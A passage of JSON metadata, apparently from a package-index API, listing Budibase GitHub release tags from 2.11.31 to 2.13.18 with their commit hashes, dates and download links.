09:19:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.18","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.18/manifests"},{"name":"2.13.17","sha":"bcaad6c2195423c2e67b1dcb637f67b8f4221f94","kind":"commit","published_at":"2023-11-27T09:30:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.17","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.17/manifests"},{"name":"2.13.16","sha":"3180ab76bfa223beddb1403cb3833a364daa9b95","kind":"commit","published_at":"2023-11-27T00:54:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.16","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.16/manifests"},{"name":"2.13.15","sha":"a5e69e716ecf67be7a32b34efb1d4088f4924dae","kind":"commit","published_at":"2023-11-23T10:07:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.15","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.15/manifests"},{"name":"2.13.14","sha":"9710df29bcb543bf99c8e888aacab9129cf0d793","kind":"commit","published_at":"2023-11-21T17:30:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.14","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.14/manifests"},{"name":"2.13.13","sha":"ab303eca493371ddbbeed83b43568630d4469baa","kind":"commit","published_at":"2023-11-21T14:34:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.13/manifests"},{"name":"2.13.12","sha":"db20645ae4e976a74f72fdcb96ceed96f0c4f0a1","kind":"commit","published_at":"2023-11-20T16:32:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.12/manifests"},{"name":"2.13.11","sha":"8297564029e3af7efb186b32424b28806da0ce9c","kind":"commit","published_at":"2023-11-20T11:25:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.11/manifests"},{"name":"2.13.10","sha":"a4cac14914df968c241f487f530b1bef515526f6","kind":"commit","published_at":"2023-11-17T10:59:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.10/manifests"},{"name":"2.13.9","sha":"e1f8b575689a730a9d38146b1b19e09107cea846","kind":"commit","published_at":"2023-11-10T12:54:49.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.9/manifests"},{"name":"2.13.8","sha":"90aaa1d9c19762fc0993957b7631e6c532f1af79","kind":"commit","published_at":"2023-11-10T12:13:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.8/manifests"},{"name":"2.13.7","sha":"bcfab2d0a30655f6a959e584f003557ecd85783d","kind":"commit","published_at":"2023-11-10T08:03:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.7/manifests"},{"name":"2.13.6","sha":"7afcfbac93fc172e3b0a754e101f06de90d600bc","kind":"commit","published_at":"2023-11-09T09:27:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.6/manifests"},{"name":"2.13.5","sha":"1016fa97f53178b7ea4bcf546f4526a4cb9e7f6a","kind":"commit","published_at":"2023-11-08T13:49:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.5/manifests"},{"name":"2.13.4","sha":"555f8fc22ccdd77da0c44fbab58ad8725153d770","kind":"commit","published_at":"2023-11-08T11:29:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.4/manifests"},{"name":"2.13.3","sha":"86cfd76b5a7edc02614431200a6640fc43b5421d","kind":"commit","published_at":"2023-11-07T16:37:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.3/manifests"},{"name":"2.13.2","sha":"dc59245b39da5c4b8ed95cebba5931adf8028d4c","kind":"commit","published_at":"2023-11-07T12:20:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.2/manifests"},{"name":"2.13.1","sha":"466d5350e23ea8cd5ac67eaa35e2bfb6374c691d","kind":"commit","published_at":"2023-11-06T19:50:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.1/manifests"},{"name":"2.13.0","sha":"2f4ed6262d5c74e167ecded12cbfe5c89b159ed8","kind":"commit","published_at":"2023-11-06T13:22:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.13.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.13.0/manifests"},{"name":"2.12.12","sha":"ce6de27714cdc4fe34ccdcff10e99cb4872f0945","kind":"commit","published_at":"2023-11-06T10:41:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.12/manifests"},{"name":"2.12.11","sha":"c539985088cf8bf98336df7b34f1a3266a85200e","kind":"commit","published_at":"2023-11-04T12:07:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.11/manifests"},{"name":"2.12.10","sha":"8fed47766aa514936aec4e41c1a64a9d0d3e4fdc","kind":"commit","published_at":"2023-11-03T15:42:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.10/manifests"},{"name":"2.12.9","sha":"52f3d1410bf699a2a6712c5e55b419aec683c0ef","kind":"commit","published_at":"2023-11-03T10:55:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.9/manifests"},{"name":"2.12.8","sha":"5be49803097f1eb511878158464bd19480a2b1b8","kind":"commit","published_at":"2023-11-03T10:24:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.8/manifests"},{"name":"2.12.7","sha":"f84b9385a4aae52f11b9a55dd627234b6c7df3b3","kind":"commit","published_at":"2023-11-02T18:34:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.7/manifests"},{"name":"2.12.6","sha":"d02fffc3e1c6fb52d8216e08efae9892805627f5","kind":"commit","published_at":"2023-11-02T15:00:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.6/manifests"},{"name":"2.12.5","sha":"52510c5e48506dbd1e0cb1f9cdf03949b101fd6c","kind":"commit","published_at":"2023-11-02T13:24:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.5/manifests"},{"name":"2.12.4","sha":"0477ed64f6edd6b2a2e02a25fb1baaff591584fb","kind":"commit","published_at":"2023-11-01T16:40:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.4/manifests"},{"name":"2.12.3","sha":"d6a4b71655991f27ee45986f0339bd1e33d8dc2b","kind":"commit","published_at":"2023-11-01T15:37:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.3/manifests"},{"name":"2.12.2","sha":"234cdbbf2441c4f3921a7226e14b920ba4506bab","kind":"commit","published_at":"2023-11-01T10:51:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.2/manifests"},{"name":"2.12.1","sha":"db398a839e056c1db9ecaf8176291f07b72d2831","kind":"commit","published_at":"2023-10-30T16:54:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"9229ab6896c81c0bc7d545ba3bb3ee5c70840a87","kind":"commit","published_at":"2023-10-30T12:12:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.12.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.12.0/manifests"},{"name":"2.11.45","sha":"dccc60c9b083a5a03aa2bca491474ec311330ded","kind":"commit","published_at":"2023-10-26T07:05:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.45","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.45/manifests"},{"name":"2.11.44","sha":"659cf3006024b938521f0fb18bbf07be3858e061","kind":"commit","published_at":"2023-10-25T08:59:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.44","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.44/manifests"},{"name":"2.11.43","sha":"0610117d87b2be2843d78c3265f78fdc2a18824a","kind":"commit","published_at":"2023-10-24T10:54:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.43","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.43/manifests"},{"name":"2.11.42","sha":"7623ffd11e6340bb732b6e00398f4dc37862e1f9","kind":"commit","published_at":"2023-10-23T14:13:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.42","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.42/manifests"},{"name":"2.11.41","sha":"97fc794a2b198f2466dd1ec41e4371de8fd8a224","kind":"commit","published_at":"2023-10-20T15:15:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.41","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.41/manifests"},{"name":"2.11.40","sha":"0010e07b47112aba01c890b53415bcf09a9847e2","kind":"commit","published_at":"2023-10-20T13:29:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.40","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.40/manifests"},{"name":"2.11.39","sha":"41e5bba533b9f8cc916eeb70f7eb78b780410502","kind":"commit","published_at":"2023-10-19T06:53:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.39","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.39/manifests"},{"name":"2.11.38","sha":"4e742f0c0766902b58fe6b951bdebf0cdeb3683e","kind":"commit","published_at":"2023-10-18T12:42:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.38","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.38/manifests"},{"name":"2.11.37","sha":"67d68ce0eb585712ac6d994cb3eae6b7165e5510","kind":"commit","published_at":"2023-10-18T10:34:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.37","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.37/manifests"},{"name":"2.11.36","sha":"bbda776c49c664404f26a01b6ab88b598199e3a5","kind":"commit","published_at":"2023-10-17T14:39:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.36","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.36/manifests"},{"name":"2.11.35","sha":"8fc4745772b66feed9a2af4dc259224ab51d1060","kind":"commit","published_at":"2023-10-17T10:22:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.35","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.35/manifests"},{"name":"2.11.27-alpha.1","sha":"495a5827d79253d99cd2916c87f32ba3253ebdd4","kind":"commit","published_at":"2023-10-13T18:07:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.27-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.27-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.27-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.27-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.27-alpha.1/manifests"},{"name":"2.11.34","sha":"6754c93ee410fc2e4fa00d632114920ee0976954","kind":"commit","published_at":"2023-10-13T17:04:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.34","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.34/manifests"},{"name":"2.11.33","sha":"7cef9bf597e0759609d2c8b8b2d06cfbe7ddafec","kind":"commit","published_at":"2023-10-13T12:21:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.33","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.33/manifests"},{"name":"2.11.32","sha":"7f5adeefdebf23059bcc6892a2456a6cb6b91261","kind":"commit","published_at":"2023-10-13T09:23:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.32","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.11.32/manifests"},{"name":"2.11.31","sha":"702ee4d504195aa716d6eac5b3333a2551ec13c8","kind":"commit","published_at":"2023-10-12T12:48:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.11.31","html_url":"https://github.com/Budibase/budibase/releases/tag/2.11.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.11.31","tag_url":"https://repos.ecosyste.ms/